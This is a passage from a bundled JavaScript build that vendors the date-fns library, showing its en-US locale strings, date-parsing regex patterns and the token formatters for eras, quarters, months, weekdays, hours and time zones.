33354 midnight: "midnight",
33355 noon: "noon",
33356 morning: "morning",
33357 afternoon: "afternoon",
33358 evening: "evening",
33359 night: "night"
33360 }
33361 };
33362 var formattingDayPeriodValues = {
33363 narrow: {
33364 am: "a",
33365 pm: "p",
33366 midnight: "mi",
33367 noon: "n",
33368 morning: "in the morning",
33369 afternoon: "in the afternoon",
33370 evening: "in the evening",
33371 night: "at night"
33372 },
33373 abbreviated: {
33374 am: "AM",
33375 pm: "PM",
33376 midnight: "midnight",
33377 noon: "noon",
33378 morning: "in the morning",
33379 afternoon: "in the afternoon",
33380 evening: "in the evening",
33381 night: "at night"
33382 },
33383 wide: {
33384 am: "a.m.",
33385 pm: "p.m.",
33386 midnight: "midnight",
33387 noon: "noon",
33388 morning: "in the morning",
33389 afternoon: "in the afternoon",
33390 evening: "in the evening",
33391 night: "at night"
33392 }
33393 };
33394 var ordinalNumber = (dirtyNumber, _options) => {
33395 const number = Number(dirtyNumber);
33396 const rem100 = number % 100;
33397 if (rem100 > 20 || rem100 < 10) {
33398 switch (rem100 % 10) {
33399 case 1:
33400 return number + "st";
33401 case 2:
33402 return number + "nd";
33403 case 3:
33404 return number + "rd";
33405 }
33406 }
33407 return number + "th";
33408 };
33409 var localize = {
33410 ordinalNumber,
33411 era: buildLocalizeFn({
33412 values: eraValues,
33413 defaultWidth: "wide"
33414 }),
33415 quarter: buildLocalizeFn({
33416 values: quarterValues,
33417 defaultWidth: "wide",
33418 argumentCallback: (quarter) => quarter - 1
33419 }),
33420 month: buildLocalizeFn({
33421 values: monthValues,
33422 defaultWidth: "wide"
33423 }),
33424 day: buildLocalizeFn({
33425 values: dayValues,
33426 defaultWidth: "wide"
33427 }),
33428 dayPeriod: buildLocalizeFn({
33429 values: dayPeriodValues,
33430 defaultWidth: "wide",
33431 formattingValues: formattingDayPeriodValues,
33432 defaultFormattingWidth: "wide"
33433 })
33434 };
33435
33436 // packages/dataviews/node_modules/date-fns/locale/_lib/buildMatchFn.js
33437 function buildMatchFn(args) {
33438 return (string, options = {}) => {
33439 const width = options.width;
33440 const matchPattern = width && args.matchPatterns[width] || args.matchPatterns[args.defaultMatchWidth];
33441 const matchResult = string.match(matchPattern);
33442 if (!matchResult) {
33443 return null;
33444 }
33445 const matchedString = matchResult[0];
33446 const parsePatterns = width && args.parsePatterns[width] || args.parsePatterns[args.defaultParseWidth];
33447 const key = Array.isArray(parsePatterns) ? findIndex2(parsePatterns, (pattern) => pattern.test(matchedString)) : (
33448 // [TODO] -- I challenge you to fix the type
33449 findKey(parsePatterns, (pattern) => pattern.test(matchedString))
33450 );
33451 let value;
33452 value = args.valueCallback ? args.valueCallback(key) : key;
33453 value = options.valueCallback ? (
33454 // [TODO] -- I challenge you to fix the type
33455 options.valueCallback(value)
33456 ) : value;
33457 const rest = string.slice(matchedString.length);
33458 return { value, rest };
33459 };
33460 }
33461 function findKey(object, predicate) {
33462 for (const key in object) {
33463 if (Object.prototype.hasOwnProperty.call(object, key) && predicate(object[key])) {
33464 return key;
33465 }
33466 }
33467 return void 0;
33468 }
33469 function findIndex2(array, predicate) {
33470 for (let key = 0; key < array.length; key++) {
33471 if (predicate(array[key])) {
33472 return key;
33473 }
33474 }
33475 return void 0;
33476 }
33477
33478 // packages/dataviews/node_modules/date-fns/locale/_lib/buildMatchPatternFn.js
33479 function buildMatchPatternFn(args) {
33480 return (string, options = {}) => {
33481 const matchResult = string.match(args.matchPattern);
33482 if (!matchResult) return null;
33483 const matchedString = matchResult[0];
33484 const parseResult = string.match(args.parsePattern);
33485 if (!parseResult) return null;
33486 let value = args.valueCallback ? args.valueCallback(parseResult[0]) : parseResult[0];
33487 value = options.valueCallback ? options.valueCallback(value) : value;
33488 const rest = string.slice(matchedString.length);
33489 return { value, rest };
33490 };
33491 }
33492
33493 // packages/dataviews/node_modules/date-fns/locale/en-US/_lib/match.js
33494 var matchOrdinalNumberPattern = /^(\d+)(th|st|nd|rd)?/i;
33495 var parseOrdinalNumberPattern = /\d+/i;
33496 var matchEraPatterns = {
33497 narrow: /^(b|a)/i,
33498 abbreviated: /^(b\.?\s?c\.?|b\.?\s?c\.?\s?e\.?|a\.?\s?d\.?|c\.?\s?e\.?)/i,
33499 wide: /^(before christ|before common era|anno domini|common era)/i
33500 };
33501 var parseEraPatterns = {
33502 any: [/^b/i, /^(a|c)/i]
33503 };
33504 var matchQuarterPatterns = {
33505 narrow: /^[1234]/i,
33506 abbreviated: /^q[1234]/i,
33507 wide: /^[1234](th|st|nd|rd)? quarter/i
33508 };
33509 var parseQuarterPatterns = {
33510 any: [/1/i, /2/i, /3/i, /4/i]
33511 };
33512 var matchMonthPatterns = {
33513 narrow: /^[jfmasond]/i,
33514 abbreviated: /^(jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)/i,
33515 wide: /^(january|february|march|april|may|june|july|august|september|october|november|december)/i
33516 };
33517 var parseMonthPatterns = {
33518 narrow: [
33519 /^j/i,
33520 /^f/i,
33521 /^m/i,
33522 /^a/i,
33523 /^m/i,
33524 /^j/i,
33525 /^j/i,
33526 /^a/i,
33527 /^s/i,
33528 /^o/i,
33529 /^n/i,
33530 /^d/i
33531 ],
33532 any: [
33533 /^ja/i,
33534 /^f/i,
33535 /^mar/i,
33536 /^ap/i,
33537 /^may/i,
33538 /^jun/i,
33539 /^jul/i,
33540 /^au/i,
33541 /^s/i,
33542 /^o/i,
33543 /^n/i,
33544 /^d/i
33545 ]
33546 };
33547 var matchDayPatterns = {
33548 narrow: /^[smtwf]/i,
33549 short: /^(su|mo|tu|we|th|fr|sa)/i,
33550 abbreviated: /^(sun|mon|tue|wed|thu|fri|sat)/i,
33551 wide: /^(sunday|monday|tuesday|wednesday|thursday|friday|saturday)/i
33552 };
33553 var parseDayPatterns = {
33554 narrow: [/^s/i, /^m/i, /^t/i, /^w/i, /^t/i, /^f/i, /^s/i],
33555 any: [/^su/i, /^m/i, /^tu/i, /^w/i, /^th/i, /^f/i, /^sa/i]
33556 };
33557 var matchDayPeriodPatterns = {
33558 narrow: /^(a|p|mi|n|(in the|at) (morning|afternoon|evening|night))/i,
33559 any: /^([ap]\.?\s?m\.?|midnight|noon|(in the|at) (morning|afternoon|evening|night))/i
33560 };
33561 var parseDayPeriodPatterns = {
33562 any: {
33563 am: /^a/i,
33564 pm: /^p/i,
33565 midnight: /^mi/i,
33566 noon: /^no/i,
33567 morning: /morning/i,
33568 afternoon: /afternoon/i,
33569 evening: /evening/i,
33570 night: /night/i
33571 }
33572 };
33573 var match2 = {
33574 ordinalNumber: buildMatchPatternFn({
33575 matchPattern: matchOrdinalNumberPattern,
33576 parsePattern: parseOrdinalNumberPattern,
33577 valueCallback: (value) => parseInt(value, 10)
33578 }),
33579 era: buildMatchFn({
33580 matchPatterns: matchEraPatterns,
33581 defaultMatchWidth: "wide",
33582 parsePatterns: parseEraPatterns,
33583 defaultParseWidth: "any"
33584 }),
33585 quarter: buildMatchFn({
33586 matchPatterns: matchQuarterPatterns,
33587 defaultMatchWidth: "wide",
33588 parsePatterns: parseQuarterPatterns,
33589 defaultParseWidth: "any",
33590 valueCallback: (index) => index + 1
33591 }),
33592 month: buildMatchFn({
33593 matchPatterns: matchMonthPatterns,
33594 defaultMatchWidth: "wide",
33595 parsePatterns: parseMonthPatterns,
33596 defaultParseWidth: "any"
33597 }),
33598 day: buildMatchFn({
33599 matchPatterns: matchDayPatterns,
33600 defaultMatchWidth: "wide",
33601 parsePatterns: parseDayPatterns,
33602 defaultParseWidth: "any"
33603 }),
33604 dayPeriod: buildMatchFn({
33605 matchPatterns: matchDayPeriodPatterns,
33606 defaultMatchWidth: "any",
33607 parsePatterns: parseDayPeriodPatterns,
33608 defaultParseWidth: "any"
33609 })
33610 };
33611
33612 // packages/dataviews/node_modules/date-fns/locale/en-US.js
33613 var enUS = {
33614 code: "en-US",
33615 formatDistance,
33616 formatLong,
33617 formatRelative,
33618 localize,
33619 match: match2,
33620 options: {
33621 weekStartsOn: 0,
33622 firstWeekContainsDate: 1
33623 }
33624 };
33625
33626 // packages/dataviews/node_modules/date-fns/getDayOfYear.js
33627 function getDayOfYear(date, options) {
33628 const _date = toDate(date, options?.in);
33629 const diff = differenceInCalendarDays(_date, startOfYear(_date));
33630 const dayOfYear = diff + 1;
33631 return dayOfYear;
33632 }
33633
33634 // packages/dataviews/node_modules/date-fns/getISOWeek.js
33635 function getISOWeek(date, options) {
33636 const _date = toDate(date, options?.in);
33637 const diff = +startOfISOWeek(_date) - +startOfISOWeekYear(_date);
33638 return Math.round(diff / millisecondsInWeek) + 1;
33639 }
33640
33641 // packages/dataviews/node_modules/date-fns/getWeekYear.js
33642 function getWeekYear(date, options) {
33643 const _date = toDate(date, options?.in);
33644 const year = _date.getFullYear();
33645 const defaultOptions2 = getDefaultOptions();
33646 const firstWeekContainsDate = options?.firstWeekContainsDate ?? options?.locale?.options?.firstWeekContainsDate ?? defaultOptions2.firstWeekContainsDate ?? defaultOptions2.locale?.options?.firstWeekContainsDate ?? 1;
33647 const firstWeekOfNextYear = constructFrom(options?.in || date, 0);
33648 firstWeekOfNextYear.setFullYear(year + 1, 0, firstWeekContainsDate);
33649 firstWeekOfNextYear.setHours(0, 0, 0, 0);
33650 const startOfNextYear = startOfWeek(firstWeekOfNextYear, options);
33651 const firstWeekOfThisYear = constructFrom(options?.in || date, 0);
33652 firstWeekOfThisYear.setFullYear(year, 0, firstWeekContainsDate);
33653 firstWeekOfThisYear.setHours(0, 0, 0, 0);
33654 const startOfThisYear = startOfWeek(firstWeekOfThisYear, options);
33655 if (+_date >= +startOfNextYear) {
33656 return year + 1;
33657 } else if (+_date >= +startOfThisYear) {
33658 return year;
33659 } else {
33660 return year - 1;
33661 }
33662 }
33663
33664 // packages/dataviews/node_modules/date-fns/startOfWeekYear.js
33665 function startOfWeekYear(date, options) {
33666 const defaultOptions2 = getDefaultOptions();
33667 const firstWeekContainsDate = options?.firstWeekContainsDate ?? options?.locale?.options?.firstWeekContainsDate ?? defaultOptions2.firstWeekContainsDate ?? defaultOptions2.locale?.options?.firstWeekContainsDate ?? 1;
33668 const year = getWeekYear(date, options);
33669 const firstWeek = constructFrom(options?.in || date, 0);
33670 firstWeek.setFullYear(year, 0, firstWeekContainsDate);
33671 firstWeek.setHours(0, 0, 0, 0);
33672 const _date = startOfWeek(firstWeek, options);
33673 return _date;
33674 }
33675
33676 // packages/dataviews/node_modules/date-fns/getWeek.js
33677 function getWeek(date, options) {
33678 const _date = toDate(date, options?.in);
33679 const diff = +startOfWeek(_date, options) - +startOfWeekYear(_date, options);
33680 return Math.round(diff / millisecondsInWeek) + 1;
33681 }
33682
33683 // packages/dataviews/node_modules/date-fns/_lib/addLeadingZeros.js
33684 function addLeadingZeros(number, targetLength) {
33685 const sign = number < 0 ? "-" : "";
33686 const output = Math.abs(number).toString().padStart(targetLength, "0");
33687 return sign + output;
33688 }
33689
33690 // packages/dataviews/node_modules/date-fns/_lib/format/lightFormatters.js
33691 var lightFormatters = {
33692 // Year
33693 y(date, token) {
33694 const signedYear = date.getFullYear();
33695 const year = signedYear > 0 ? signedYear : 1 - signedYear;
33696 return addLeadingZeros(token === "yy" ? year % 100 : year, token.length);
33697 },
33698 // Month
33699 M(date, token) {
33700 const month = date.getMonth();
33701 return token === "M" ? String(month + 1) : addLeadingZeros(month + 1, 2);
33702 },
33703 // Day of the month
33704 d(date, token) {
33705 return addLeadingZeros(date.getDate(), token.length);
33706 },
33707 // AM or PM
33708 a(date, token) {
33709 const dayPeriodEnumValue = date.getHours() / 12 >= 1 ? "pm" : "am";
33710 switch (token) {
33711 case "a":
33712 case "aa":
33713 return dayPeriodEnumValue.toUpperCase();
33714 case "aaa":
33715 return dayPeriodEnumValue;
33716 case "aaaaa":
33717 return dayPeriodEnumValue[0];
33718 case "aaaa":
33719 default:
33720 return dayPeriodEnumValue === "am" ? "a.m." : "p.m.";
33721 }
33722 },
33723 // Hour [1-12]
33724 h(date, token) {
33725 return addLeadingZeros(date.getHours() % 12 || 12, token.length);
33726 },
33727 // Hour [0-23]
33728 H(date, token) {
33729 return addLeadingZeros(date.getHours(), token.length);
33730 },
33731 // Minute
33732 m(date, token) {
33733 return addLeadingZeros(date.getMinutes(), token.length);
33734 },
33735 // Second
33736 s(date, token) {
33737 return addLeadingZeros(date.getSeconds(), token.length);
33738 },
33739 // Fraction of second
33740 S(date, token) {
33741 const numberOfDigits = token.length;
33742 const milliseconds = date.getMilliseconds();
33743 const fractionalSeconds = Math.trunc(
33744 milliseconds * Math.pow(10, numberOfDigits - 3)
33745 );
33746 return addLeadingZeros(fractionalSeconds, token.length);
33747 }
33748 };
33749
33750 // packages/dataviews/node_modules/date-fns/_lib/format/formatters.js
33751 var dayPeriodEnum = {
33752 am: "am",
33753 pm: "pm",
33754 midnight: "midnight",
33755 noon: "noon",
33756 morning: "morning",
33757 afternoon: "afternoon",
33758 evening: "evening",
33759 night: "night"
33760 };
33761 var formatters = {
33762 // Era
33763 G: function(date, token, localize2) {
33764 const era = date.getFullYear() > 0 ? 1 : 0;
33765 switch (token) {
33766 // AD, BC
33767 case "G":
33768 case "GG":
33769 case "GGG":
33770 return localize2.era(era, { width: "abbreviated" });
33771 // A, B
33772 case "GGGGG":
33773 return localize2.era(era, { width: "narrow" });
33774 // Anno Domini, Before Christ
33775 case "GGGG":
33776 default:
33777 return localize2.era(era, { width: "wide" });
33778 }
33779 },
33780 // Year
33781 y: function(date, token, localize2) {
33782 if (token === "yo") {
33783 const signedYear = date.getFullYear();
33784 const year = signedYear > 0 ? signedYear : 1 - signedYear;
33785 return localize2.ordinalNumber(year, { unit: "year" });
33786 }
33787 return lightFormatters.y(date, token);
33788 },
33789 // Local week-numbering year
33790 Y: function(date, token, localize2, options) {
33791 const signedWeekYear = getWeekYear(date, options);
33792 const weekYear = signedWeekYear > 0 ? signedWeekYear : 1 - signedWeekYear;
33793 if (token === "YY") {
33794 const twoDigitYear = weekYear % 100;
33795 return addLeadingZeros(twoDigitYear, 2);
33796 }
33797 if (token === "Yo") {
33798 return localize2.ordinalNumber(weekYear, { unit: "year" });
33799 }
33800 return addLeadingZeros(weekYear, token.length);
33801 },
33802 // ISO week-numbering year
33803 R: function(date, token) {
33804 const isoWeekYear = getISOWeekYear(date);
33805 return addLeadingZeros(isoWeekYear, token.length);
33806 },
33807 // Extended year. This is a single number designating the year of this calendar system.
33808 // The main difference between `y` and `u` localizers are B.C. years:
33809 // | Year | `y` | `u` |
33810 // |------|-----|-----|
33811 // | AC 1 | 1 | 1 |
33812 // | BC 1 | 1 | 0 |
33813 // | BC 2 | 2 | -1 |
33814 // Also `yy` always returns the last two digits of a year,
33815 // while `uu` pads single digit years to 2 characters and returns other years unchanged.
33816 u: function(date, token) {
33817 const year = date.getFullYear();
33818 return addLeadingZeros(year, token.length);
33819 },
33820 // Quarter
33821 Q: function(date, token, localize2) {
33822 const quarter = Math.ceil((date.getMonth() + 1) / 3);
33823 switch (token) {
33824 // 1, 2, 3, 4
33825 case "Q":
33826 return String(quarter);
33827 // 01, 02, 03, 04
33828 case "QQ":
33829 return addLeadingZeros(quarter, 2);
33830 // 1st, 2nd, 3rd, 4th
33831 case "Qo":
33832 return localize2.ordinalNumber(quarter, { unit: "quarter" });
33833 // Q1, Q2, Q3, Q4
33834 case "QQQ":
33835 return localize2.quarter(quarter, {
33836 width: "abbreviated",
33837 context: "formatting"
33838 });
33839 // 1, 2, 3, 4 (narrow quarter; could be not numerical)
33840 case "QQQQQ":
33841 return localize2.quarter(quarter, {
33842 width: "narrow",
33843 context: "formatting"
33844 });
33845 // 1st quarter, 2nd quarter, ...
33846 case "QQQQ":
33847 default:
33848 return localize2.quarter(quarter, {
33849 width: "wide",
33850 context: "formatting"
33851 });
33852 }
33853 },
33854 // Stand-alone quarter
33855 q: function(date, token, localize2) {
33856 const quarter = Math.ceil((date.getMonth() + 1) / 3);
33857 switch (token) {
33858 // 1, 2, 3, 4
33859 case "q":
33860 return String(quarter);
33861 // 01, 02, 03, 04
33862 case "qq":
33863 return addLeadingZeros(quarter, 2);
33864 // 1st, 2nd, 3rd, 4th
33865 case "qo":
33866 return localize2.ordinalNumber(quarter, { unit: "quarter" });
33867 // Q1, Q2, Q3, Q4
33868 case "qqq":
33869 return localize2.quarter(quarter, {
33870 width: "abbreviated",
33871 context: "standalone"
33872 });
33873 // 1, 2, 3, 4 (narrow quarter; could be not numerical)
33874 case "qqqqq":
33875 return localize2.quarter(quarter, {
33876 width: "narrow",
33877 context: "standalone"
33878 });
33879 // 1st quarter, 2nd quarter, ...
33880 case "qqqq":
33881 default:
33882 return localize2.quarter(quarter, {
33883 width: "wide",
33884 context: "standalone"
33885 });
33886 }
33887 },
33888 // Month
33889 M: function(date, token, localize2) {
33890 const month = date.getMonth();
33891 switch (token) {
33892 case "M":
33893 case "MM":
33894 return lightFormatters.M(date, token);
33895 // 1st, 2nd, ..., 12th
33896 case "Mo":
33897 return localize2.ordinalNumber(month + 1, { unit: "month" });
33898 // Jan, Feb, ..., Dec
33899 case "MMM":
33900 return localize2.month(month, {
33901 width: "abbreviated",
33902 context: "formatting"
33903 });
33904 // J, F, ..., D
33905 case "MMMMM":
33906 return localize2.month(month, {
33907 width: "narrow",
33908 context: "formatting"
33909 });
33910 // January, February, ..., December
33911 case "MMMM":
33912 default:
33913 return localize2.month(month, { width: "wide", context: "formatting" });
33914 }
33915 },
33916 // Stand-alone month
33917 L: function(date, token, localize2) {
33918 const month = date.getMonth();
33919 switch (token) {
33920 // 1, 2, ..., 12
33921 case "L":
33922 return String(month + 1);
33923 // 01, 02, ..., 12
33924 case "LL":
33925 return addLeadingZeros(month + 1, 2);
33926 // 1st, 2nd, ..., 12th
33927 case "Lo":
33928 return localize2.ordinalNumber(month + 1, { unit: "month" });
33929 // Jan, Feb, ..., Dec
33930 case "LLL":
33931 return localize2.month(month, {
33932 width: "abbreviated",
33933 context: "standalone"
33934 });
33935 // J, F, ..., D
33936 case "LLLLL":
33937 return localize2.month(month, {
33938 width: "narrow",
33939 context: "standalone"
33940 });
33941 // January, February, ..., December
33942 case "LLLL":
33943 default:
33944 return localize2.month(month, { width: "wide", context: "standalone" });
33945 }
33946 },
33947 // Local week of year
33948 w: function(date, token, localize2, options) {
33949 const week = getWeek(date, options);
33950 if (token === "wo") {
33951 return localize2.ordinalNumber(week, { unit: "week" });
33952 }
33953 return addLeadingZeros(week, token.length);
33954 },
33955 // ISO week of year
33956 I: function(date, token, localize2) {
33957 const isoWeek = getISOWeek(date);
33958 if (token === "Io") {
33959 return localize2.ordinalNumber(isoWeek, { unit: "week" });
33960 }
33961 return addLeadingZeros(isoWeek, token.length);
33962 },
33963 // Day of the month
33964 d: function(date, token, localize2) {
33965 if (token === "do") {
33966 return localize2.ordinalNumber(date.getDate(), { unit: "date" });
33967 }
33968 return lightFormatters.d(date, token);
33969 },
33970 // Day of year
33971 D: function(date, token, localize2) {
33972 const dayOfYear = getDayOfYear(date);
33973 if (token === "Do") {
33974 return localize2.ordinalNumber(dayOfYear, { unit: "dayOfYear" });
33975 }
33976 return addLeadingZeros(dayOfYear, token.length);
33977 },
33978 // Day of week
33979 E: function(date, token, localize2) {
33980 const dayOfWeek = date.getDay();
33981 switch (token) {
33982 // Tue
33983 case "E":
33984 case "EE":
33985 case "EEE":
33986 return localize2.day(dayOfWeek, {
33987 width: "abbreviated",
33988 context: "formatting"
33989 });
33990 // T
33991 case "EEEEE":
33992 return localize2.day(dayOfWeek, {
33993 width: "narrow",
33994 context: "formatting"
33995 });
33996 // Tu
33997 case "EEEEEE":
33998 return localize2.day(dayOfWeek, {
33999 width: "short",
34000 context: "formatting"
34001 });
34002 // Tuesday
34003 case "EEEE":
34004 default:
34005 return localize2.day(dayOfWeek, {
34006 width: "wide",
34007 context: "formatting"
34008 });
34009 }
34010 },
34011 // Local day of week
34012 e: function(date, token, localize2, options) {
34013 const dayOfWeek = date.getDay();
34014 const localDayOfWeek = (dayOfWeek - options.weekStartsOn + 8) % 7 || 7;
34015 switch (token) {
34016 // Numerical value (Nth day of week with current locale or weekStartsOn)
34017 case "e":
34018 return String(localDayOfWeek);
34019 // Padded numerical value
34020 case "ee":
34021 return addLeadingZeros(localDayOfWeek, 2);
34022 // 1st, 2nd, ..., 7th
34023 case "eo":
34024 return localize2.ordinalNumber(localDayOfWeek, { unit: "day" });
34025 case "eee":
34026 return localize2.day(dayOfWeek, {
34027 width: "abbreviated",
34028 context: "formatting"
34029 });
34030 // T
34031 case "eeeee":
34032 return localize2.day(dayOfWeek, {
34033 width: "narrow",
34034 context: "formatting"
34035 });
34036 // Tu
34037 case "eeeeee":
34038 return localize2.day(dayOfWeek, {
34039 width: "short",
34040 context: "formatting"
34041 });
34042 // Tuesday
34043 case "eeee":
34044 default:
34045 return localize2.day(dayOfWeek, {
34046 width: "wide",
34047 context: "formatting"
34048 });
34049 }
34050 },
34051 // Stand-alone local day of week
34052 c: function(date, token, localize2, options) {
34053 const dayOfWeek = date.getDay();
34054 const localDayOfWeek = (dayOfWeek - options.weekStartsOn + 8) % 7 || 7;
34055 switch (token) {
34056 // Numerical value (same as in `e`)
34057 case "c":
34058 return String(localDayOfWeek);
34059 // Padded numerical value
34060 case "cc":
34061 return addLeadingZeros(localDayOfWeek, token.length);
34062 // 1st, 2nd, ..., 7th
34063 case "co":
34064 return localize2.ordinalNumber(localDayOfWeek, { unit: "day" });
34065 case "ccc":
34066 return localize2.day(dayOfWeek, {
34067 width: "abbreviated",
34068 context: "standalone"
34069 });
34070 // T
34071 case "ccccc":
34072 return localize2.day(dayOfWeek, {
34073 width: "narrow",
34074 context: "standalone"
34075 });
34076 // Tu
34077 case "cccccc":
34078 return localize2.day(dayOfWeek, {
34079 width: "short",
34080 context: "standalone"
34081 });
34082 // Tuesday
34083 case "cccc":
34084 default:
34085 return localize2.day(dayOfWeek, {
34086 width: "wide",
34087 context: "standalone"
34088 });
34089 }
34090 },
34091 // ISO day of week
34092 i: function(date, token, localize2) {
34093 const dayOfWeek = date.getDay();
34094 const isoDayOfWeek = dayOfWeek === 0 ? 7 : dayOfWeek;
34095 switch (token) {
34096 // 2
34097 case "i":
34098 return String(isoDayOfWeek);
34099 // 02
34100 case "ii":
34101 return addLeadingZeros(isoDayOfWeek, token.length);
34102 // 2nd
34103 case "io":
34104 return localize2.ordinalNumber(isoDayOfWeek, { unit: "day" });
34105 // Tue
34106 case "iii":
34107 return localize2.day(dayOfWeek, {
34108 width: "abbreviated",
34109 context: "formatting"
34110 });
34111 // T
34112 case "iiiii":
34113 return localize2.day(dayOfWeek, {
34114 width: "narrow",
34115 context: "formatting"
34116 });
34117 // Tu
34118 case "iiiiii":
34119 return localize2.day(dayOfWeek, {
34120 width: "short",
34121 context: "formatting"
34122 });
34123 // Tuesday
34124 case "iiii":
34125 default:
34126 return localize2.day(dayOfWeek, {
34127 width: "wide",
34128 context: "formatting"
34129 });
34130 }
34131 },
34132 // AM or PM
34133 a: function(date, token, localize2) {
34134 const hours = date.getHours();
34135 const dayPeriodEnumValue = hours / 12 >= 1 ? "pm" : "am";
34136 switch (token) {
34137 case "a":
34138 case "aa":
34139 return localize2.dayPeriod(dayPeriodEnumValue, {
34140 width: "abbreviated",
34141 context: "formatting"
34142 });
34143 case "aaa":
34144 return localize2.dayPeriod(dayPeriodEnumValue, {
34145 width: "abbreviated",
34146 context: "formatting"
34147 }).toLowerCase();
34148 case "aaaaa":
34149 return localize2.dayPeriod(dayPeriodEnumValue, {
34150 width: "narrow",
34151 context: "formatting"
34152 });
34153 case "aaaa":
34154 default:
34155 return localize2.dayPeriod(dayPeriodEnumValue, {
34156 width: "wide",
34157 context: "formatting"
34158 });
34159 }
34160 },
34161 // AM, PM, midnight, noon
34162 b: function(date, token, localize2) {
34163 const hours = date.getHours();
34164 let dayPeriodEnumValue;
34165 if (hours === 12) {
34166 dayPeriodEnumValue = dayPeriodEnum.noon;
34167 } else if (hours === 0) {
34168 dayPeriodEnumValue = dayPeriodEnum.midnight;
34169 } else {
34170 dayPeriodEnumValue = hours / 12 >= 1 ? "pm" : "am";
34171 }
34172 switch (token) {
34173 case "b":
34174 case "bb":
34175 return localize2.dayPeriod(dayPeriodEnumValue, {
34176 width: "abbreviated",
34177 context: "formatting"
34178 });
34179 case "bbb":
34180 return localize2.dayPeriod(dayPeriodEnumValue, {
34181 width: "abbreviated",
34182 context: "formatting"
34183 }).toLowerCase();
34184 case "bbbbb":
34185 return localize2.dayPeriod(dayPeriodEnumValue, {
34186 width: "narrow",
34187 context: "formatting"
34188 });
34189 case "bbbb":
34190 default:
34191 return localize2.dayPeriod(dayPeriodEnumValue, {
34192 width: "wide",
34193 context: "formatting"
34194 });
34195 }
34196 },
34197 // in the morning, in the afternoon, in the evening, at night
34198 B: function(date, token, localize2) {
34199 const hours = date.getHours();
34200 let dayPeriodEnumValue;
34201 if (hours >= 17) {
34202 dayPeriodEnumValue = dayPeriodEnum.evening;
34203 } else if (hours >= 12) {
34204 dayPeriodEnumValue = dayPeriodEnum.afternoon;
34205 } else if (hours >= 4) {
34206 dayPeriodEnumValue = dayPeriodEnum.morning;
34207 } else {
34208 dayPeriodEnumValue = dayPeriodEnum.night;
34209 }
34210 switch (token) {
34211 case "B":
34212 case "BB":
34213 case "BBB":
34214 return localize2.dayPeriod(dayPeriodEnumValue, {
34215 width: "abbreviated",
34216 context: "formatting"
34217 });
34218 case "BBBBB":
34219 return localize2.dayPeriod(dayPeriodEnumValue, {
34220 width: "narrow",
34221 context: "formatting"
34222 });
34223 case "BBBB":
34224 default:
34225 return localize2.dayPeriod(dayPeriodEnumValue, {
34226 width: "wide",
34227 context: "formatting"
34228 });
34229 }
34230 },
34231 // Hour [1-12]
34232 h: function(date, token, localize2) {
34233 if (token === "ho") {
34234 let hours = date.getHours() % 12;
34235 if (hours === 0) hours = 12;
34236 return localize2.ordinalNumber(hours, { unit: "hour" });
34237 }
34238 return lightFormatters.h(date, token);
34239 },
34240 // Hour [0-23]
34241 H: function(date, token, localize2) {
34242 if (token === "Ho") {
34243 return localize2.ordinalNumber(date.getHours(), { unit: "hour" });
34244 }
34245 return lightFormatters.H(date, token);
34246 },
34247 // Hour [0-11]
34248 K: function(date, token, localize2) {
34249 const hours = date.getHours() % 12;
34250 if (token === "Ko") {
34251 return localize2.ordinalNumber(hours, { unit: "hour" });
34252 }
34253 return addLeadingZeros(hours, token.length);
34254 },
34255 // Hour [1-24]
34256 k: function(date, token, localize2) {
34257 let hours = date.getHours();
34258 if (hours === 0) hours = 24;
34259 if (token === "ko") {
34260 return localize2.ordinalNumber(hours, { unit: "hour" });
34261 }
34262 return addLeadingZeros(hours, token.length);
34263 },
34264 // Minute
34265 m: function(date, token, localize2) {
34266 if (token === "mo") {
34267 return localize2.ordinalNumber(date.getMinutes(), { unit: "minute" });
34268 }
34269 return lightFormatters.m(date, token);
34270 },
34271 // Second
34272 s: function(date, token, localize2) {
34273 if (token === "so") {
34274 return localize2.ordinalNumber(date.getSeconds(), { unit: "second" });
34275 }
34276 return lightFormatters.s(date, token);
34277 },
34278 // Fraction of second
34279 S: function(date, token) {
34280 return lightFormatters.S(date, token);
34281 },
34282 // Timezone (ISO-8601. If offset is 0, output is always `'Z'`)
34283 X: function(date, token, _localize) {
34284 const timezoneOffset = date.getTimezoneOffset();
34285 if (timezoneOffset === 0) {
34286 return "Z";
34287 }
34288 switch (token) {
34289 // Hours and optional minutes
34290 case "X":
34291 return formatTimezoneWithOptionalMinutes(timezoneOffset);
34292 // Hours, minutes and optional seconds without `:` delimiter
34293 // Note: neither ISO-8601 nor JavaScript supports seconds in timezone offsets
34294 // so this token always has the same output as `XX`
34295 case "XXXX":
34296 case "XX":
34297 return formatTimezone(timezoneOffset);
34298 // Hours, minutes and optional seconds with `:` delimiter
34299 // Note: neither ISO-8601 nor JavaScript supports seconds in timezone offsets
34300 // so this token always has the same output as `XXX`
34301 case "XXXXX":
34302 case "XXX":
34303 // Hours and minutes with `:` delimiter
34304 default:
34305 return formatTimezone(timezoneOffset, ":");
34306 }
34307 },
34308 // Timezone (ISO-8601. If offset is 0, output is `'+00:00'` or equivalent)
34309 x: function(date, token, _localize) {
34310 const timezoneOffset = date.getTimezoneOffset();
34311 switch (token) {
34312 // Hours and optional minutes
34313 case "x":
34314 return formatTimezoneWithOptionalMinutes(timezoneOffset);
34315 // Hours, minutes and optional seconds without `:` delimiter
34316 // Note: neither ISO-8601 nor JavaScript supports seconds in timezone offsets
34317 // so this token always has the same output as `xx`
34318 case "xxxx":
34319 case "xx":
34320 return formatTimezone(timezoneOffset);
34321 // Hours, minutes and optional seconds with `:` delimiter
34322 // Note: neither ISO-8601 nor JavaScript supports seconds in timezone offsets
34323 // so this token always has the same output as `xxx`
34324 case "xxxxx":
34325 case "xxx":
34326 // Hours and minutes with `:` delimiter
34327 default:
34328 return formatTimezone(timezoneOffset, ":");
34329 }
34330 },
34331 // Timezone (GMT)
34332 O: function(date, token, _localize) {
34333 const timezoneOffset = date.getTimezoneOffset();
34334 switch (token) {
34335 // Short
34336 case "O":
34337 case "OO":
34338 case "OOO":
34339 return "GMT" + formatTimezoneShort(timezoneOffset, ":");
34340 // Long
34341 case "OOOO":
34342 default:
34343 return "GMT" + formatTimezone(timezoneOffset, ":");
34344 }
34345 },
34346 // Timezone (specific non-location)
34347 z: function(date, token, _localize) {
34348 const timezoneOffset = date.getTimezoneOffset();
34349 switch (token) {
34350 // Short
34351 case "z":
34352 case "zz":
34353 case "zzz":
34354 return "GMT" + formatTimezoneShort(timezoneOffset, ":");
34355 // Long
34356 case "zzzz":
34357 default:
34358 return "GMT" + formatTimezone(timezoneOffset, ":");
34359 }
34360 },
